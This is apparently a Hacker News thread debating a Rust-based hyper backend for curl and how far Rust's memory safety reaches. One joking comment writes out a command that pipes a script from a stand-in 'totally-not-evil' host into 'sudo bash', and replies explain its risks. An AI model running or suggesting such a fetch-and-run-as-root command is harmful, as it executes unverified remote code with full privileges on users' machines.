10 ms·
Memory safe ‘curl’ for a more secure internet
- kej 6y agoI was under the impression that curl worked on more platforms than Rust and LLVM. It will be interesting to see what happens to curl support on those platforms going forward.
- dralley 6y agoLibcurl supports multiple compile-time backends for http support, encryption, and so forth. This will be no different. Hyper will be just one option among many, as will Rustls.
- masklinn 6y agoAs the article indicates, it would be but one of dozens of existing backends, although it'd be one where few alternative backends currently exist (HTTP/1 and HTTP/2). For instance libcurl can use any of 13 different TLS backends (one of which is already in Rust), or 3 different HTTP/3 backend (one of which is in rust).
- ncmncm 6y agoSwitching immediately to building with C++, and then migrating incrementally to safe forms in C++, would provide much more value per unit effort. It would also enable engagement by the orders-of-magnitude more available skilled C++ programmers, who could also pick up new skills writing modern, safe C++ to apply in other migrations. It is not an either/or proposition. Certain, select modules could be recoded in Rust by particularly motivated Rust coders, leaving the huge amount of other code, for which there are too few Rust enthusiasts to work on, to be modernized in C++, and still able to call into the Rust code.
- steveklabnik 6y agoI think you may have misunderstood what the post is saying they're going to do. It is significantly more in line with your suggestion than you seem to think.
- ncmncm 6y agoI might have misunderstood. But if so, good!
- steveklabnik 6y agoYes, curl has a concept of "backends," which you can choose at compile time. This is about providing an option for a new backend, based on Rust libraries. That's it. Nobody is re-writing anything.
- ameixaseca 6y agoI like how the comment referenced in the article with the description "Rust itself can't even properly clean up its own memory" was answered today saying the restriction of unwinding on oom is going away; it's not a fundamental issue, just something that wasn't implemented that way the first time.
- mitchtbaum 6y agoI'm unifying Rust's async HTTP implementations H1, H2, H3 and Google's tarpc in Rust~Actix~Torchbear. I just don't have a lot of time now sice my house got broken and I don't have enough money to rent anywhere. It also needs a lot of work on the parsing layer, and the laptops with my notes on them are hard to keep with me as I move around. https://github.com/google/tarpc https://github.com/google/tarpc https://github.com/actix/actix-web/tree/master/actix-http/src/h1 https://github.com/actix/actix-web/tree/master/actix-http/sr... https://github.com/hyperium/h2 https://github.com/hyperium/h2 https://github.com/djc/quinn/tree/main/quinn-h3 https://github.com/djc/quinn/tree/main/quinn-h3 https://github.com/speakeasy-engine/torchbear/blob/master/src/handlers/web_server.lua https://github.com/speakeasy-engine/torchbear/blob/master/sr... ~ There's beauty in this with the fluency in which complex applications like the coming secure social network, Radiojade, are built. See this example: !# https://github.com/foundpatternscellar/ping-pong/blob/master/alice/packages/ping/actions/send_ping.lua https://github.com/foundpatternscellar/ping-pong/blob/master... Curl users, do you really want to stick with Bash's syntax instead of this??
- 7kmph 6y agoI find myself in the need of a "lib_download" a few times, a high level library that: - support HTTP/HTTPS - support proxy (for by-passing firewall, censorship, etc, http/https/socks5) - download one large file in parallel (configurable temporary directory) - download many small files in parallel (seems too high-level to put in a library, not sure this is a good feature) - configurable retry (maybe too high-level to put in a library) - resume download - good error semantics - an interface with defined behaviour - progress report (useful for downloading large files) I tried using a wrapped (in rust) version of libcurl, and in the end I decided to just use the curl cli, and read through the man page and pass about 13 arguments to it to make it's behaviour defined (to me, to a certain confidence level), I also pinned the curl executable to a specific version to avoid unknown changes. The end result works, but the process is unnecessarily complicated (invoke the cli binary, know what argument to pass, know the meaning of the many error codes), and the resume is not pleasant to use. I guess libcurl is designed to be that way, so that to an curl-master, he can tune all the knobs to do what he want, but to a average library user who just want to download things, it requires more attention than I'm willing to give to. Used in an interactive context, the issue of defined behaviour is usually overlooked, but when used a library in a program that runs unattended and expensive to upgrade/repair, achievable defined behaviour is a must, and test is not an alternative to it, even experience is not an alternative (experience are time consuming to get, and not transferable to others). All package managers needs to download packages from internet, often via HTTP, it's good to have a easy-to-use, well-defined, capable download library, many of them uses curl (Archlinux's pacman, rust installation script), many of them use others with varying level of capabilities, I thinks it would be beneficial if we can have a good library (in rust) for download things.
- charonn0 6y ago> I guess libcurl is designed to be that way, so that to an curl-master, he can tune all the knobs to do what he want The --libcurl command line argument can help translate curl to libcurl. 0: https://ec.haxx.se/libcurl/libcurl--libcurl https://ec.haxx.se/libcurl/libcurl--libcurl
- mehrdadn 6y agoHow often have libcurl HTTP or TLS backend bugs resulted in exploited vulnerabilities in the past?
- kingkilr 6y agoI don't have any data on exploitability, but 19 of the last 22 vulnerabilities (since 2018) have C-induced memory unsafety as a cause: https://curl.haxx.se/docs/security.html https://curl.haxx.se/docs/security.html
- mehrdadn 6y agoOh thanks, that at least gives some idea of the potential. I see e.g. "HTTP/2 trailer out-of-bounds read" and "SSL out of buffer access"... I guess there might be some candidates.
- deleted 6y ago[deleted]
- Kednicma 6y agoYou can't get memory safety by picking a language with `unsafe` blocks. I appreciate the sentiment but the implementation details are important here; I'd take this more seriously if they picked something like OCaml instead of Rust.
- kingkilr 6y agoSure you can. First, in a philosophical sense: pointers and x86 CPUs are real, ultimately any safe abstraction must be built on unsafe primitives. The ability and need to do that aren't specific to memory unsafety, we do that all over software engineering. Second, empirically, my experience has been that the design of these abstractions can be safe, but moreover that the cordoning off of unsafe blocks makes 3p auditing for memory unsafety _much_ easier to do. It can be orders of magnitude faster than reviewing an entire C or C++ codebase.
- Kednicma 6y agoA TCB should be dozens of lines, not thousands. More code means more places for more bugs to hide. My experience in Safe Haskell was that, if you have to ask each module individually whether it has a safety property, then you've already created too much work for yourself. Instead, require every module to structurally encode the desired invariant. Or, in fewer words: If you want memory safety, don't have `unsafe` blocks.
- nicoburns 6y agoA language like OCaml can still have memory unsafety issues introduced by the compiler or standard library. It just makes it much more manageable to effectively audit for and fix such issues. `unsafe` blocks serve the same purpose.
- mehrdadn 6y agoIt's not all-or-nothing. Numbers do exist between 0% and 100%.
- Xylakant 6y ago
- navaati 6y agoWow, Rust being used in something as respected as cURL is a big endorsment !
- faitswulff 6y agoAnd a credit to the author of cURL as well: > We’d like to thank Daniel for his willingness to be a leader on this issue. It’s not easy to make such significant changes to how wildly successful software is built, but we’ve come up with a great plan and together we’re going to make one of the most critical pieces of networking software in the world significantly more secure. We think this project can serve as a template for how we might secure more critical software, and we’re excited to learn along the way.
- brundolf 6y ago> one of the most critical pieces of networking software in the world cURL is widely available and widely used, obviously, but I'm surprised to see it described this way. I've always seen it mainly as a way for people and scripts to conveniently try out endpoints and download files. But this makes it sound like more than that; does it get widely used in an infrastructural capacity?
- computerphage 6y agoIf you put curl in a script that runs on every new machine in your infrastructure, I'd say that's pretty widely used.
- steveklabnik 6y agoA "fun" insight here: https://daniel.haxx.se/blog/2016/11/14/i-have-toyota-corola/ https://daniel.haxx.se/blog/2016/11/14/i-have-toyota-corola/
- woodrowbarlow 6y agothe binary `curl` is just a CLI frontend for `libcurl`. curl can do a lot more than HTTP. it can transfer data over 20-odd different protocols, including real-time streaming media. it's huge in embedded software.
- sohkamyung 6y agoHere's what Daniel Stenberg had to say about the move [1] [1] https://daniel.haxx.se/blog/2020/10/09/rust-in-curl-with-hyper/ https://daniel.haxx.se/blog/2020/10/09/rust-in-curl-with-hyp...
- __s 6y agoInteresting to contrast with curl is C: https://daniel.haxx.se/blog/2017/03/27/curl-is-c https://daniel.haxx.se/blog/2017/03/27/curl-is-c Looks like they've figured out a good way to allow bringing in safety while avoiding the risks any change will bring
- dochtman 6y agoI suppose he's really keen on a Fish in a Barrel bounty... https://github.com/fishinabarrel/bounty https://github.com/fishinabarrel/bounty
- kingkilr 6y agoI think it's fair to say that this work is quite likely to qualify :-)
- bluejekyll 6y agoThis quote is interesting: “ I’m a bit vague on the details here because it’s not my expertise, but Rust itself can’t even properly clean up its memory and just returns error when it hits such a condition. Clearly something to fix before a libcurl with hyper could claim identical behavior and never to leak memory”. So Rust aborts on invalid memory accesses, unwrap on None, etc. It does not abort on memory leaks. I don’t see Rust aborting in that context as much different from a segfault, and it guards against more situations than a segfault is able to do. Additionally, when stack unwinding is enabled (default) aborts can be caught during runtime and handled specially, if that’s necessary. Edit: I said “aborts” above, I should have said “panics”. The option in Rust is to disable unwinding and instead abort immediately: https://doc.rust-lang.org/edition-guide/rust-2018/error-handling-and-panics/aborting-on-panic.html https://doc.rust-lang.org/edition-guide/rust-2018/error-hand... That can’t be caught at runtime, to be clear.
- steveklabnik 6y agoI've been holding my breath ever since I saw https://github.com/hyperium/hyper/issues/2265#issuecomment-672320287 https://github.com/hyperium/hyper/issues/2265#issuecomment-6... Glad to see it seems to be going well!
- faitswulff 6y ago(and the pull request under active development here: https://github.com/hyperium/hyper/pull/2278 https://github.com/hyperium/hyper/pull/2278) I see that Stenberg (bagder) is receiving funding for the work from the ISRG, but I wonder if McArthur (seanmonstar) is, too? It seems like a sizable amount of work on their part, too.
- GrayShade 6y agoConsidering the discussion in https://github.com/hyperium/hyper/issues/2265 https://github.com/hyperium/hyper/issues/2265, that seems unlikely.
- cbm-vic-20 6y agoGreat! As long as "curl https://totally-not-evil.example.com/install.sh https://totally-not-evil.example.com/install.sh | sudo bash" still works, I feel safer already.
- tialaramex 6y agoHistorically there was a long period where this didn't do what you expect, which is very bad. What this looks like it does, and indeed does today (modulo bugs some of which could be prevented using Rust) is: Ask totally-not-evil.example.com for this install.sh resource and then run that as root as a Bash script. This is no worse than if you were to have totally-not-evil.example.com give you the bash script on a floppy disk or something. If you suspect they might actually be evil, or just incompetent, that's on you either way. But for some years curl didn't make any effort to confirm it was getting this file from totally-not-evil.example.com. Connect over SSL, ignore all this security stuff, fetch the file. So then it's like you just accepted a floppy disk you got in the mail which says it's "from totally-not-evil.example.com" but might really be from anybody. That's definitely worse. Today you have to specify the --insecure flag to do this if you want to (Hint: You do not want to)
- afwe 6y agoThe website could detect whether you are using a regular browser or curl itself to download the .sh file and return something different. So inspecting the .sh using your browser before you run that line would not protect you.
- deleted 6y ago[deleted]
- ComputerGuru 6y agoInspect it by piping to less or vim instead?
- reificator 6y ago
- pjmlp 6y agoGood news, doesn't matter if it is Rust or anything else with similar features, just improving security as a goal is quite valuable. Heck, even Checked C would do, if it ever gets fully done. In any case, looking forward to the results.
- hpb42 6y agoI've heard a lot about Rust's "safety" things. But what are they? How does it compare with modern C++?
- aliceryhl 6y agoRusts type system is able to carry a lot of information it can use to verify the memory safety of programs at compile time. For example, the type system includes a piece called the borrow-checker, which is able to guarantee that pointers are still valid when you use them, which eliminates use-after-free and buffer overflows. In a similar vein, the type system includes information about in which ways types may be shared across threads, and by using this information, the compiler can guarantee that there are no data races whatsoever in multi-threaded programs.
- kingkilr 6y agoRust has a few interlocking behaviors that provide its memory safety, a few of the most important are: - The borrow checker enforces mutable XOR shared references. - The compiler does not allow use of local variables before they're assigned to, requires structs to be completely initialized, etc.. - All the builtin datastructures perform bounds checks - The compiler disallows deferencing raw pointers except in unsafe blocks. There's a lot of good things to be said about modern C++, particular smart pointers. However, it's significantly less resilient to common mistakes than Rust is: https://alexgaynor.net/2019/apr/21/modern-c++-wont-save-us/ https://alexgaynor.net/2019/apr/21/modern-c++-wont-save-us/
- MauranKilom 6y agoNot that I consider the overall sentiment of the linked article wrong, but this... > Dereferencing a nullptr gives a segfault (which is not a security issue, except in older kernels). Dereferencing a nullopt however, gives you an uninitialized value as a pointer, which can be a serious security issue. ...betrays a complete lack of understanding what Undefined Behavior is/implies. That's not something you want to see in an article discussing memory safety.
- steveklabnik 6y ago
- deleted 6y ago[deleted]
- z3t4 6y agoThe bug did pass the type checker. Memory safe languages also have security issues. The program never run is the most secure, or like a programmer gain experience, programs get "battle hardened".
- svnpenn 6y agoI like this idea, but I dont know if Hyper is the best package to go with. Hyper occupies part of the Rust ecosystem that I think suffers from package bloat, like much of NPM. For example, currently Hyper requires 52 packages: autocfg, bitflags, bytes, cfg-if, fnv, fuchsia-zircon, fuchsia-zircon-sys, futures-channel, futures-core, futures-sink, futures-task, futures-util, h2, hashbrown, http, http-body, httparse, httpdate, indexmap, iovec, itoa, kernel32-sys, lazy_static, libc, log, memchr, mio, miow, net2, pin-project, pin-project-internal, pin-project-lite, pin-utils, proc-macro2, quote, redox_syscall, slab, socket2, syn, tokio, tokio-util, tower-service, tracing, tracing-core, try-lock, unicode-xid, want, winapi, winapi-build, winapi-i686-pc-windows-gnu, winapi-x86_64-pc-windows-gnu, ws2_32-sys
- danielheath 6y agoIMO "how many packages are the dependencies broken into" is a far less useful question than "how many maintainers have commit access to the dependency subtree". The latter is a better question because: * It's directly connected to your security posture. * It's a stable metric across languages with different norms about module size.
- sk2020 6y agoA quick check of cargo-Geiger shows many hundreds of unsafe invocations in the dependencies of hyper. I think it’s hard to argue that some rust HTTP library is Irrefutably safer when you’ve thrown out so many of the static guarantees of the language and replaced them with “dude, trust me”.
- stjohnswarts 6y agoIt's fine, how often do you have to rebuild curl?
- delfinom 6y agoPfft, vetting dependencies is for boomers. -- Modern software engineering
- nine_k 6y agoAll these packages provide important pieces of functionality, which, I suppose, mostly cannot be omitted. Either you depend on other's work for that, or you roll your own. Choose your poison.
- benecollyridam 6y ago> Hyper is a fast and safe HTTP implementation Well.. Hyper does rely on unsafe blocks (14 at first glance[2]), so I don't know if we can just assume that it's safe. When Sergey Davidoff did their big smoke test of popular Rust HTTP implementations they found a couple of bugs[1] (through Reqwest). I love the idea of a safer cURL, but I don't think you should take this as a magical answer to all of cURL's problems. [1]https://web.archive.org/web/20200506212152/https://medium.com/@shnatsel/smoke-testing-rust-http-clients-b8f2ee5db4e6 https://web.archive.org/web/20200506212152/https://medium.co... [2] I ran `grep -oR unsafe . | wc -l` after cloning the repo
- steveklabnik 6y ago> I don't think you should take this as a magical answer to all of cURL's problems. Is anyone actually suggesting this?
- benecollyridam 6y agoWell kinda but people are saying that it is memory safe, which is not a guarantee with unsafe code.
- nindalf 6y agoWhen I saw the issue (https://github.com/hyperium/hyper/issues/2265 https://github.com/hyperium/hyper/issues/2265) for adding support for a C API to Hyper I was puzzled - couldn't you just use curl for that? As a user of software, it makes me happy to know that folks are investing in making the nuts and bolts safer and more secure.
- a-dub 6y agoit's an interesting choice. i would have thought that fortifying http client libraries for major languages would be more important, but maybe they've already been hardened and interactive use of curl is a vector. makes me wonder about other interactive tooling. would be interesting if there were malicious binaries that were benign at runtime but triggered bugs in debuggers and profilers.
- johnisgood 6y agoI think Ada/SPARK would have been a much better choice, but oh well. Is it a licensing issue?
- floatingatoll 6y agoCertainly, SPARK's GPLv3 license is incompatible with Curl's license. Curl's license is MIT-ish, but adds a prohibition for those who use it from using the author's name to promote their business. That restriction is not compatible with GPLv3. Since the author of curl took the time to write that restriction, I would imagine it is more important to them than SPARK. Since the copyleft licenses are hostile to restricting free speech, it's safe to assume that all copyleft options would be similarly unacceptable. Rust is dual APL2/MIT, and Curl's modified MIT is compatible with MIT, so no such issue would exist for Rust. (Standard disclaimer, I'm not your lawyer, no citations offered, seek legal counsel.)
- benibela 6y agoOr Wuffs I do not know much about Wuffs, but it seems to be completely safe. No arithmetic overflows, no bound checking failures, no None unwrapping panics, no memory allocation failure panics.